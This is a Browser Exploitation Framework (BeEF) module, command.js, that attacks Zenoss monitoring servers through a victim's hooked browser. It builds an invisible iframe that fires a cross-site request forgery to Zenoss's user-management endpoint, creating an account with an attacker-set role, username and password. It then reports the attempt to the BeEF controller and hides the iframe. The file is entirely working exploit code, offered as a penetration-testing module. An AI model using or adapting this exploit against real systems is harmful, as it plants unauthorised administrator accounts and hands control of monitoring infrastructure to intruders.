command.js

//
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var base = '<%= @base %>'; 
  var user_level = '<%= @user_level %>';
  var username = '<%= @username %>';
  var password = '<%= @password %>';

  var zenoss_add_user_iframe = beef.dom.createInvisibleIframe();
  zenoss_add_user_iframe.setAttribute('src', base+'/zport/dmd/ZenUsers?tableName=userlist&zenScreenName=manageUserFolder.pt&manage_addUser%3Amethod=OK&defaultAdminRole='+user_level+'&roles%3Alist='+user_level+'&userid='+username+'&password='+password);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(zenoss_add_user_iframe);
  }
  setTimeout("cleanup()", 15000);

});